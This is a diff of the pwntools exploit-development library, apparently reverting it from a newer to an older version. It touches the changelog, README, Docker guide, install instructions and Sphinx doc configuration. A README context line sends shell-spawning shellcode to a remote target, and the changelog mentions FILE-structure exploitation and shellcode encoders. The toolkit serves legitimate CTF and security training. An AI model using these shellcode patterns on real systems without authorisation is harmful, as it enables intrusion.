-[1517]: https://github.com/Gallopsled/pwntools/pull/1517
-
-## 4.1.4
-
- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
-
-[1609]: https://github.com/Gallopsled/pwntools/pull/1609
-
-## 4.1.3
-
- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
-  - Also fix `run_in_new_terminal` for Py2 unicode strings
- [#1595][1595] Fix ssh.process(timeout=)
-
-[1590]: https://github.com/Gallopsled/pwntools/pull/1590
-[1595]: https://github.com/Gallopsled/pwntools/pull/1595
-
-## 4.1.2
-
- Pwntools requires `six` v.1.12.0 or higher
-
-## 4.1.1
-
- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
- Fix wrong ELF/context unpack handling (c4c11a37)
- Fix updating of ELF.functions addresses after changing ELF.address #1512 (#1513)
- Update Corefile warnings and replace asserts with normal checks (#1526)
- several py2-py3 issues (#1451)
- Fix cyclic command
-
-## 4.1.0
-
- [#1316][1316] Fix connect shellcraft in python 3
- [#1323][1323] Fix issues related with debugging
- [#1001][1001] Enhance `unlock_bootloader` with better status messages
- [#1389][1389] remove old dependencies
- [#1241][1241] Launch QEMU with sysroot if specified
- [#1218][1218] Support for FileStructure exploitation
-
-[1316]: https://github.com/Gallopsled/pwntools/pull/1316
-[1323]: https://github.com/Gallopsled/pwntools/pull/1323
-[1001]: https://github.com/Gallopsled/pwntools/pull/1001
-[1389]: https://github.com/Gallopsled/pwntools/pull/1389
-[1241]: https://github.com/Gallopsled/pwntools/pull/1241
-[1218]: https://github.com/Gallopsled/pwntools/pull/1218
-
-## 4.0.1
-
- [#1412][1412] `recvline_pred()` and similar do not reorder data
- Bypass unicorn-engine/unicorn#1100 and unicorn-engine/unicorn#1170 requiring unstable package
-
-[1412]: https://github.com/Gallopsled/pwntools/pull/1412
-
-## 4.0.0
-
- **Python 3 support! <3**
- [#1402][1402] Fix serialtube in python 3
- [#1391][1391] Fix process.libs
- [#1317][1317] Tubes with `context.encoding`
- [#1216][1216] Improve format string generator
- [#1285][1285] Add freebsd generic syscall templates
- [76413f][76413f] Add pwnlib.adb.bootimg for 'ANDROID!' format boot.img images
- [#1202][1202] Docker: Kill 14 layers in pwntools base images
- [#1182][1182] shellcraft.dupio() for mips
-
-[1402]: https://github.com/Gallopsled/pwntools/pull/1402
-[1391]: https://github.com/Gallopsled/pwntools/pull/1391
-[1317]: https://github.com/Gallopsled/pwntools/pull/1317
-[1285]: https://github.com/Gallopsled/pwntools/pull/1285
-[1216]: https://github.com/Gallopsled/pwntools/pull/1216
-[1202]: https://github.com/Gallopsled/pwntools/pull/1202
-[1182]: https://github.com/Gallopsled/pwntools/pull/1182
-[76413f]: https://github.com/Gallopsled/pwntools/commit/76413f
+To be released on Jun 12, 2018.

 ## 3.13.0

- [#1204][1204] Reduce ROP cache filename length
- [#1175][1175] Fix nested SSH connectors
- [#1355][1355] Fix 'break' syscall
- [#1277][1277] Fix timeout parameter passing in sendlineafter and other similar functions
- [#1292][1292] Provide correct arch name to gdb for sparc64
+To be released on Mar 31, 2018.

-[1175]: https://github.com/Gallopsled/pwntools/pull/1175
-[1204]: https://github.com/Gallopsled/pwntools/pull/1204
-[1277]: https://github.com/Gallopsled/pwntools/pull/1277
-[1292]: https://github.com/Gallopsled/pwntools/pull/1292
-[1355]: https://github.com/Gallopsled/pwntools/pull/1355
-
-## 3.12.2
-
- [#1242][1242] Use IntervalTree 2.xx, disallow use of 3.xx
- [#1243][1243] Fix a typo that caused an exception when executing a binary with `process()` which returns `-ENOEXEC` and the system does not have `qemu-user` binaries installed.
-
-[1242]: https://github.com/Gallopsled/pwntools/pull/1242
-[1243]: https://github.com/Gallopsled/pwntools/pull/1243
-
-## 3.12.1
-
- [#1198][1198] More compatibility fixes for pyelftools==0.25, and pin Sphinx<1.8.0 since it causes testing errors
- [#1191][1191] Fix compatibility with pyelftools==0.25
- [#1159][1159] Fix check for `/proc/.../status`
- [#1162][1162] Fix broken package versions
- [#1150][1150] Fix exception raised when a cache file is missing
- [#1156][1156] Fix ROP gadget selection logic involving `int` and `syscall` instructions
- [#1152][1152] Fix QEMU LD_PREFIX calculation (wrong parameter passed)
- [#1155][1155] Use Ubuntu Trusty for all CI builds
- [#1131][1131] Add "libc-" to libc prefixes in `process` tubes
- [#1125][1125] Fix a typo
- [#1121][1121] Fix tests which were broken by an upstream Sphinx change
 - [#1104][1104] Add `DynELF.dump()` for dumping remote ELF files
 - [#1101][1101] Set `context.os` via `context.binary`, useful for Android exploitation
 - [5fdc08][5fdc08] Work around broken `pidof` on Android
 - [63dfed][63dfed] Print warning when Corefile deletion fails instead of throwing an exception
 - [#1094][1094] Make hexdump output alignment more consistent
 - [#1096][1096] `flat()` and `fit()` are now the same function
+- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it

-[1198]: https://github.com/Gallopsled/pwntools/pull/1198
-[1191]: https://github.com/Gallopsled/pwntools/pull/1191
-[1159]: https://github.com/Gallopsled/pwntools/pull/1159
-[1162]: https://github.com/Gallopsled/pwntools/pull/1162
-[1150]: https://github.com/Gallopsled/pwntools/pull/1150
-[1156]: https://github.com/Gallopsled/pwntools/pull/1156
-[1152]: https://github.com/Gallopsled/pwntools/pull/1152
-[1155]: https://github.com/Gallopsled/pwntools/pull/1155
-[1131]: https://github.com/Gallopsled/pwntools/pull/1131
-[1125]: https://github.com/Gallopsled/pwntools/pull/1125
-[1121]: https://github.com/Gallopsled/pwntools/pull/1121
 [1104]: https://github.com/Gallopsled/pwntools/pull/1104
 [1101]: https://github.com/Gallopsled/pwntools/pull/1101
 [1094]: https://github.com/Gallopsled/pwntools/pull/1094
 [1096]: https://github.com/Gallopsled/pwntools/pull/1096
+[1068]: https://github.com/Gallopsled/pwntools/pull/1068
 [5fdc08]: https://github.com/Gallopsled/pwntools/commit/5fdc08
 [63dfed]: https://github.com/Gallopsled/pwntools/commit/63dfed

@@ -415,7 +72,6 @@ The table below shows which release corresponds to each branch, and what date th
 - [#1085][1085] Add support for extracting Android `BOOTLDR!` images
 - [#1075][1075] Add support for detecting GNU Screen for `run_in_new_terminal`
 - [#1074][1074] Add support for running `pwntools-gdb` wrapper script instead of `gdb`
- [#1068][1068] Work around very old OpenSSL versions which don't have sha256 support *AND* don't exit with an error code when trying to use it
 - [#1067][1067] Add `pwnlib.tubes.server` module, which adds a reusable `server` listener
 - [#1063][1063] Add support for labels in `fit()`, allowing dynamic contents to be injected.  (This feature is really cool, check out the pull request!)

@@ -423,7 +79,6 @@ The table below shows which release corresponds to each branch, and what date th
 [1085]: https://github.com/Gallopsled/pwntools/pull/1085
 [1075]: https://github.com/Gallopsled/pwntools/pull/1075
 [1074]: https://github.com/Gallopsled/pwntools/pull/1074
-[1068]: https://github.com/Gallopsled/pwntools/pull/1068
 [1067]: https://github.com/Gallopsled/pwntools/pull/1067
 [1063]: https://github.com/Gallopsled/pwntools/pull/1063

@@ -1,76 +0,0 @@
-# Using Pwntools with Docker
-
-Sometimes it's annoying to set up Pwntools on your workstation, and you want something that Just Works (TM).
-
-[Docker](https://www.docker.com/) is here to the rescue! Using Docker means that you get a nice, standardized Linux environment and don't need to worry about pip or installing dependencies.
-
-## Quick Start
-
-First, install Docker for your OS, which you can find on their [Getting Started](https://www.docker.com/get-started) page.
-
-Next, download and run the Pwntools stable docker image.
-
-```sh
-$ docker run -it pwntools/pwntools:stable
-```
-
-## Recommended Settings
-
-In order to get the most from your docker image, we need to enable debugging of processes (`--privileged`) and expose the network ports from the guest to the host (`--net=host`).
-
-```sh
-$ docker run -it \
-    --privileged \
-    --net=host \
-    --hostname localhost \
-    --ulimit core=-1:-1 \
-    pwntools/pwntools:stable
-```
-
-## Sharing a Folder
-
-It's really nice to be able to use your preferred native editor, and have the changes show up live inside your Docker image.  This is easy to add, thanks to Docker's bind mounts (`--mount type=bind`).  
-
-With the command below, your `~/exploits` directory will magically show up inside the Docker image at `/home/pwntools/exploits` so that you can easily run them (from Docker) and edit them (from outside Docker).
-
-```sh
-$ mkdir $HOME/exploits
-
-$ vim $HOME/exploits/my_exploit.py
-
-$ docker run -it \
-    --privileged \
-    --net=host \
-    --hostname localhost \
-    --ulimit core=-1:-1 \
-    --mount type=bind,source="$HOME/exploits",target=/home/pwntools/exploits \
-    pwntools/pwntools:stable
-    
-$ python3 exploits/my_exploit.py
-```
-
-### Windows User Bind Mounts
-
-If you're a Windows user `$HOME` doesn't exist in the same way as on Linux, instead it is `%UserProfile%`.  The command from above would look like this, assuming your editor is Visual Studio Code and you have code.exe in your `%PATH%`.
-
-```sh
-C:\Users\user> mkdir Desktop\exploits
-
-C:\Users\user> code Desktop\exploits\my_exploit.py
-
-C:\Users\user> docker run -it \
-    --privileged \
-    --net=host \
-    --hostname localhost \
-    --ulimit core=-1:-1 \
-    --mount type=bind,source="%UserProfile%\Desktop\exploits",target=/home/pwntools/exploits \
-    pwntools/pwntools:stable
-    
-$ python3 exploits/my_exploit.py
-
-```
-
-
-
-
-
@@ -1,14 +1,12 @@
 # pwntools - CTF toolkit
 ![pwntools logo](https://github.com/Gallopsled/pwntools/blob/stable/docs/source/logo.png?raw=true)

-[![PyPI](https://img.shields.io/pypi/v/pwntools?style=flat)](https://pypi.python.org/pypi/pwntools/)
 [![Docs](https://readthedocs.org/projects/pwntools/badge/?version=stable)](https://docs.pwntools.com/)
-[![Travis](https://img.shields.io/travis/Gallopsled/pwntools/dev?logo=Travis)](https://travis-ci.org/Gallopsled/pwntools)
-[![GitHub Workflow Status (branch)](https://img.shields.io/github/workflow/status/Gallopsled/pwntools/Continuous%20Integration/dev?logo=GitHub)](https://github.com/Gallopsled/pwntools/actions?query=workflow%3A%22Continuous+Integration%22+branch%3Adev)
-[![Coveralls](https://img.shields.io/coveralls/github/Gallopsled/pwntools/dev?logo=coveralls)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
+[![PyPI](https://img.shields.io/badge/pypi-v3.12.1-green.svg?style=flat)](https://pypi.python.org/pypi/pwntools/)
+[![Travis](https://travis-ci.org/Gallopsled/pwntools.svg)](https://travis-ci.org/Gallopsled/pwntools)
+[![Coveralls](https://img.shields.io/coveralls/Gallopsled/pwntools/dev.svg)](https://coveralls.io/github/Gallopsled/pwntools?branch=dev)
+[![Twitter](https://img.shields.io/badge/twitter-pwntools-4099FF.svg?style=flat)](https://twitter.com/pwntools)
 [![MIT License](https://img.shields.io/badge/license-MIT-blue.svg?style=flat)](http://choosealicense.com/licenses/mit/)
-[![Discord](https://img.shields.io/discord/809590285687980052?label=Discord&style=plastic)](https://discord.gg/96VA2zvjCB)
-[![Twitter](https://img.shields.io/twitter/follow/Pwntools)](https://twitter.com/pwntools)

 Pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

@@ -22,28 +20,29 @@ r.send(asm(shellcraft.sh()))
 r.interactive()
 ```

+# Try It Now!
+
+You can now do a live demo of Pwntools, [right in your browser](https://demo.pwntools.com).
+
 # Documentation

 Our documentation is available at [docs.pwntools.com](https://docs.pwntools.com/)

-A series of tutorials is also [available online](https://github.com/Gallopsled/pwntools-tutorial#readme)
-
 To get you started, we've provided some example solutions for past CTF challenges in our [write-ups repository](https://github.com/Gallopsled/pwntools-write-ups).

 # Installation

-Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  
+Pwntools is best supported on 64-bit Ubuntu LTE releases (12.04, 14.04, and 16.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).  Python 2.7 is required.

-Python3 is suggested, but Pwntools still works with Python 2.7.  Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
+Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with

 ```sh
 apt-get update
-apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
-python3 -m pip install --upgrade pip
-python3 -m pip install --upgrade pwntools
+apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
+pip install --upgrade pip
+pip install --upgrade pwntools
 ```

-
 However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies.  For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).


@@ -51,5 +50,8 @@ However, some of the features (assembling/disassembling foreign architectures) r

 See [CONTRIBUTING.md](CONTRIBUTING.md)

-# Contact and Community
-If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB
+# Contact
+If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to ping us
+at [`#pwntools` on Freenode](irc://irc.freenode.net/pwntools) and ask away.
+Click [here](https://kiwiirc.com/client/irc.freenode.net/pwntools) to connect.
+There is also a [mailing list](https://groups.google.com/forum/#!forum/pwntools-users) for higher latency discussion.
@@ -45,7 +45,7 @@ help:
 clean:
 	-rm -rf $(BUILDDIR)/*
 	-rm -rf /tmp/user/pwn*
-	-rm -rf $(HOME)/.cache/.pwntools-cache
+	-rm -rf $(HOME)/.pwntools-cache
 	-rm -rf /tmp/pwn* 2>/dev/null || true
 	-rm -rf build

@@ -44,7 +44,7 @@ def main(args):
 		doc2dash.__main__.main.main( \
 			[ os.path.join(dstdir, "html"), "-d", dstdir, "-n", name, \
 					"-f", "-I", "index.html"], "doc2dash", False)
-	except SystemExit as e:
+	except SystemExit,e:
 		pass

 	# Insert a link to the online version.
@@ -1,18 +1,17 @@
-capstone
-coveralls
-doc2dash
-docutils<0.18
+sphinxcontrib-napoleon
+sphinxcontrib-autoprogram==0.1.4
 isort
-mako>=1.0.0
 paramiko>=1.15.2
-pip>=6.0.8
+mako>=1.0.0
 pyelftools>=0.2.3
-pygments>=2.0
-pypandoc
+capstone
+ropgadget>=5.3
 pyserial>=2.7
 requests>=2.5.1
-ropgadget>=5.3
-sphinx<3.4
+pip>=6.0.8
+tox>=1.8.1
+pygments>=2.0
 sphinx_rtd_theme
-sphinxcontrib-napoleon
-sphinxcontrib-autoprogram<=0.1.5
+doc2dash
+coveralls
+sphinx<1.8.0
@@ -47,7 +47,7 @@ This module is our "clean" python-code. As a rule, we do not think that
 importing :mod:`pwnlib` or any of the submodules should have any significant
 side-effects (besides e.g. caching).

-For the most part, you will also only get the bits you import. You for instance would
+For the most part, you will also only get the bits you import. You for instance
 not get access to :mod:`pwnlib.util.packing` simply by doing ``import
 pwnlib.util``.

@@ -1,6 +1,5 @@
 .. testsetup:: *

-   from pprint import pprint
   from pwn import *
   adb = pwnlib.adb

@@ -2,7 +2,11 @@

   import tempfile
   import subprocess
-   from pwn import *
+   from pwnlib.context import context
+   from pwnlib.asm import *
+   from pwnlib import shellcraft
+   from pwnlib.tubes.process import process
+

 :mod:`pwnlib.asm` --- Assembler functions
 =========================================
@@ -12,8 +12,6 @@ Command Line Tools

 pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

-If these tools do not appear to be installed, make sure that you have added ``~/.local/bin`` to your ``$PATH`` environment variable.
-
 .. toctree::

 .. autoprogram:: pwnlib.commandline.main:parser
@@ -12,9 +12,6 @@
 # serve to show the default.

 import os
-import doctest
-import signal
-import six
 import subprocess
 import sys

@@ -25,8 +22,7 @@ build_dash = tags.has('dash')
 # documentation root, use os.path.abspath to make it absolute, like shown here.
 sys.path.insert(0, os.path.abspath('../..'))

-import pwnlib.update
-pwnlib.update.disabled = True
+import pwnlib

 # If your documentation needs a minimal Sphinx version, state it here.
 #needs_sphinx = '1.0'
@@ -71,14 +67,10 @@ doctest_global_setup = '''
 import sys, os
 os.environ['PWNLIB_NOTERM'] = '1'
 os.environ['PWNLIB_RANDOMIZE'] = '0'
-import pwnlib.update
-import pwnlib.util.fiddling
-import logging
-pwnlib.update.disabled = True
+import pwnlib
 pwnlib.context.context.reset_local()
-pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
+pwnlib.context.ContextType.defaults['log_level'] = 'ERROR'
 pwnlib.context.ContextType.defaults['randomize'] = False
-# pwnlib.context.ContextType.defaults['terminal'] = ['sh', '-c']
 pwnlib.util.fiddling.default_style = {}
 pwnlib.term.text.when = 'never'
 pwnlib.log.install_default_handler()
@@ -93,12 +85,6 @@ class stdout(object):
    def __setattr__(self, name, value):
        return setattr(sys.stdout, name, value)
 pwnlib.context.ContextType.defaults['log_console'] = stdout()
-
-github_actions = os.environ.get('USER') == 'runner'
-travis_ci = os.environ.get('USER') == 'travis'
-local_doctest = os.environ.get('USER') == 'pwntools'
-branch_dev = os.environ.get('GITHUB_BASE_REF') == 'dev'
-skip_android = True
 '''

 autoclass_content = 'both'
@@ -265,7 +251,7 @@ latex_documents = [
   u'2016, Gallopsled et al.', 'manual'),
 ]

-intersphinx_mapping = {'python': ('https://docs.python.org/3.8', None),
+intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
                       'paramiko': ('https://paramiko-docs.readthedocs.org/en/2.1/', None)}

 # The name of an image file (relative to this directory) to place at the top of
@@ -325,13 +311,13 @@ texinfo_documents = [
 branch = release

 try:
-    git_branch = subprocess.check_output('git describe --tags', shell = True, universal_newlines = True)
+    git_branch = subprocess.check_output('git describe --tags', shell = True)
 except subprocess.CalledProcessError:
    git_branch = '-'

 try:
    if '-' in git_branch:
-        branch = subprocess.check_output('git rev-parse HEAD', shell = True, universal_newlines = True).strip()[:10]
+        branch = subprocess.check_output('git rev-parse HEAD', shell = True).strip()[:10]
 except subprocess.CalledProcessError:
    pass

@@ -348,7 +334,7 @@ def linkcode_resolve(domain, info):
    val = mod
    for k in info['fullname'].split('.'):
        val = getattr(val, k, None)
-        if val is None:
+        if val == None:
            break

    # Special case for shellcraft
@@ -359,11 +345,11 @@ def linkcode_resolve(domain, info):
    else:
        filename = info['module'].replace('.', '/') + '.py'

-        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
+        if isinstance(val, (types.ModuleType, types.ClassType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType)):
            try:
                lines, first = inspect.getsourcelines(val)
-                filename += '#L%d-L%d' % (first, first + len(lines) - 1)
-            except (IOError, TypeError):
+                filename += '#L%d-%d' % (first, first + len(lines) - 1)
+            except IOError:
                pass

    return "https://github.com/Gallopsled/pwntools/blob/%s/%s" % (branch, filename)
@@ -386,63 +372,46 @@ if build_dash:

 # -- Customization to Sphinx autodoc generation --------------------------------------------
 import sphinx.ext.autodoc
+from sphinx.util.inspect import safe_getmembers, safe_getattr

 # Test hidden members (e.g. def _foo(...))
 def dont_skip_any_doctests(app, what, name, obj, skip, options):
-    return None
+    return False

-autodoc_default_options = {'special-members': None, 'private-members': None}
-
-class _DummyClass(object): pass
-
-class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
-    def check_output(self, want, got, optionflags):
-        sup = super(Py2OutputChecker, self).check_output
-        if sup(want, got, optionflags):
-            return True
-        try:
-            rly_want = pwnlib.util.safeeval.const(want)
-            if sup(repr(rly_want), got, optionflags):
-                return True
-            rly_got = pwnlib.util.safeeval.const(got)
-            if rly_want == rly_got:
-                return True
-        except ValueError:
-            pass
-        rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
-        if sup(rly_want, got, optionflags):
-            return True
-        rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
-        if sup(rly_want, got, optionflags):
-            return True
-        for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''):
-            rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('['))
-            rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' '))
-            if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags):
-                return False
-        return True
-
-def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
-    if checker is None:
-        checker = Py2OutputChecker()
-    doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
+# Test non-exported members
+class ModuleDocumenter(sphinx.ext.autodoc.ModuleDocumenter):
+    def get_object_members(self, want_all):
+        if want_all:
+            # if not hasattr(self.object, '__all__'):
+            #     for implicit module members, check __module__ to avoid
+            #     documenting imported objects
+                return True, safe_getmembers(self.object)
+            # else:
+            #     memberlist = self.object.__all__
+            #     # Sometimes __all__ is broken...
+            #     if not isinstance(memberlist, (list, tuple)) or not \
+            #        all(isinstance(entry, string_types) for entry in memberlist):
+            #         self.directive.warn(
+            #             '__all__ should be a list of strings, not %r '
+            #             '(in module %s) -- ignoring __all__' %
+            #             (memberlist, self.fullname))
+            #         # fall back to all members
+            #         return True, safe_getmembers(self.object)
+        else:
+            memberlist = self.options.members or []
+        ret = []
+        for mname in memberlist:
+            try:
+                ret.append((mname, safe_getattr(self.object, mname)))
+            except AttributeError:
+                self.directive.warn(
+                    'missing attribute mentioned in :members: or __all__: '
+                    'module %s, attribute %s' % (
+                        safe_getattr(self.object, '__name__', '???'), mname))
+        return False, ret

 if 'doctest' in sys.argv:
    def setup(app):
-        pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
+        app.connect('autodoc-skip-member', dont_skip_any_doctests)

-    if sys.version_info[:1] < (3,):
-        import sphinx.ext.doctest
-        sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
-    else:
-        # monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
-        import paramiko.client
-        import binascii
-        paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
-        paramiko.util.safe_string = lambda x: '' # function result never *actually used*
-    class EndlessLoop(Exception): pass
-    def alrm_handler(sig, frame):
-        signal.alarm(180) # three minutes
-        raise EndlessLoop()
-    signal.signal(signal.SIGALRM, alrm_handler)
-    signal.alarm(600) # ten minutes
+    sphinx.ext.autodoc.ModuleDocumenter = ModuleDocumenter
@@ -3,22 +3,6 @@
   from glob import glob
   from pwn import *

-   # The Linux kernel won't overwrite an existing corefile, so in case 
-   # some other part of the doctests caused a segfault and core dump,
-   # we need to get rid of it before our tests run.
-   #
-   # We DONT need to worry about e.g. ./core existing when using Corefile()
-   # because we always move and rename the corefile to prevent this situation.
-   if os.path.exists('core'): 
-      os.unlink('core')
-
-   # bash-static is a statically linked version of bash, but if $SHELL is not
-   # set to anything, it decides to up and load ld.so and libc.so which breaks
-   # our example of showing `corefile.libc == None` for a statically linked bin.
-   # Set the environment here so it's not in the middle of our tests.
-   os.environ.setdefault('SHELL', '/bin/sh')
-
-
 :mod:`pwnlib.elf.corefile` --- Core Files
 ===========================================================

@@ -2,7 +2,6 @@

   from pwn import *
   from glob import glob
-   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT

 :mod:`pwnlib.elf.elf` --- ELF Files
 ===========================================================
@@ -1,29 +1,25 @@
 .. testsetup:: *

   from pwn import *
-   
+
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================

+.. automodule:: pwnlib.encoders
+   :members:
+
 .. automodule:: pwnlib.encoders.encoder
   :members:

-.. automodule:: pwnlib.encoders.i386.ascii_shellcode
+
+.. automodule:: pwnlib.encoders.amd64
+   :members:
+
+.. automodule:: pwnlib.encoders.arm
+   :members:
+
+.. automodule:: pwnlib.encoders.i386
   :members:
-   :special-members:
-   :exclude-members: __init__

 .. automodule:: pwnlib.encoders.i386.xor
   :members:
-
-.. automodule:: pwnlib.encoders.i386.delta
-   :members:
-
-.. automodule:: pwnlib.encoders.amd64.delta
-   :members:
-
-.. automodule:: pwnlib.encoders.arm.xor
-   :members:
-
-.. automodule:: pwnlib.encoders.mips.xor
-   :members:
@@ -1,9 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.filepointer import *
-
-:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
-============================================================
-
-.. automodule:: pwnlib.filepointer
-   :members:
@@ -1,17 +0,0 @@
-.. testsetup:: *
-
-    import time
-    import six
-    from pwnlib.context import context
-    from pwnlib.tubes.ssh import ssh
-    from pwnlib.filesystem import *
-
-:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
-====================================================================
-
-Provides a Python2-compatible :py:mod:`pathlib` interface for paths
-on the local filesystem (`.Path`) as well as on remote filesystems,
-via SSH (`.SSHPath`).
-
-.. automodule:: pwnlib.filesystem
-   :members:
@@ -1,8 +1,6 @@
 .. testsetup:: *

    from pwn import *
-    context.arch = 'amd64'
-    context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]

 :mod:`pwnlib.gdb` --- Working with GDB
 ======================================
@@ -52,10 +52,8 @@ Each of the ``pwntools`` modules is documented here.
   context
   dynelf
   encoders
-   elf/*
+   elf
   exception
-   filepointer
-   filesystem
   flag
   fmtstr
   gdb
@@ -65,6 +63,7 @@ Each of the ``pwntools`` modules is documented here.
   protocols
   qemu
   replacements
+   rop
   rop/*
   runner
   shellcraft
@@ -82,7 +81,6 @@ Each of the ``pwntools`` modules is documented here.
   :hidden:

   testexample
-   rop/call

 .. only:: not dash

@@ -92,12 +90,3 @@ Each of the ``pwntools`` modules is documented here.
   * :ref:`genindex`
   * :ref:`modindex`
   * :ref:`search`
-
-Bytes
-----
-
-The bytes vs text distinction is so important that it even made it to this main page.
-See the pwntools-tutorial_ repo for the latest tutorial finally
-explaining the difference once and for all (hopefully).
-
-.. _pwntools-tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md
@@ -1,7 +1,9 @@
 Installation
 ============

-Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
+pwntools is best supported on Ubuntu 12.04 and 14.04, but most
+functionality should work on any Posix-like distribution (Debian, Arch,
+FreeBSD, OSX, etc.).

 Prerequisites
 -------------
@@ -18,48 +20,14 @@ following system libraries installed.
 Released Version
 -----------------

-pwntools is available as a ``pip`` package for both Python2 and Python3.
-
-Python3
-^^^^^^^
+pwntools is available as a ``pip`` package.

 .. code-block:: bash

    $ apt-get update
-    $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
-    $ python3 -m pip install --upgrade pip
-    $ python3 -m pip install --upgrade pwntools
-
-
-Python2 (Deprecated)
-^^^^^^^^^^^^^^^^^^^^
-
-NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
-
-Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
-
-.. code-block:: bash
-
-    $ apt-get update
-    $ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
-    $ python2 -m pip install --upgrade pip==20.3.4
-    $ python2 -m pip install --upgrade pwntools
-
-
-Command-Line Tools
------------------
-
-When installed with ``sudo`` the above commands will install Pwntools' command-line tools to somewhere like ``/usr/bin``.
-
-However, if you run as an unprivileged user, you may see a warning message that looks like this:
-
-.. code-block::
-
-      WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm, 
-      elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template, 
-      unhex, update and version are installed in '/home/user/.local/bin' which is not on PATH.
-
-Follow the instructions listed and add ``~/.local/bin`` to your ``$PATH`` environment variable.
+    $ apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
+    $ pip install --upgrade pip
+    $ pip install --upgrade pwntools

 Development
 --------------
@@ -12,7 +12,7 @@ Building `binutils` from source takes about 60 seconds on a modern 8-core machin
 Ubuntu
 ^^^^^^^^^^^^^^^^

-For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <https://launchpad.net/~pwntools/+archive/ubuntu/binutils>`__.
+For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <http://binutils.pwntools.com>`__.

 Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.

@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.

 .. code-block:: bash

-    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
+    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

 Alternate OSes
 ^^^^^^^^^^^^^^^^
@@ -17,13 +17,6 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
 A full list of everything that is imported is available on :doc:`globals`.


-Tutorials
---------
-
-A series of tutorials for Pwntools exists online, at
-https://github.com/Gallopsled/pwntools-tutorial#readme
-
-
 Making Connections
 ------------------

@@ -36,12 +29,12 @@ For example, remote connections via :mod:`pwnlib.tubes.remote`.

    >>> conn = remote('ftp.ubuntu.com',21)
    >>> conn.recvline() # doctest: +ELLIPSIS
-    b'220 ...'
-    >>> conn.send(b'USER anonymous\r\n')
-    >>> conn.recvuntil(b' ', drop=True)
-    b'331'
+    '220 ...'
+    >>> conn.send('USER anonymous\r\n')
+    >>> conn.recvuntil(' ', drop=True)
+    '331'
    >>> conn.recvline()
-    b'Please specify the password.\r\n'
+    'Please specify the password.\r\n'
    >>> conn.close()

 It's also easy to spin up a listener
@@ -49,20 +42,20 @@ It's also easy to spin up a listener
    >>> l = listen()
    >>> r = remote('localhost', l.lport)
    >>> c = l.wait_for_connection()
-    >>> r.send(b'hello')
+    >>> r.send('hello')
    >>> c.recv()
-    b'hello'
+    'hello'

 Interacting with processes is easy thanks to :mod:`pwnlib.tubes.process`.

 ::

    >>> sh = process('/bin/sh')
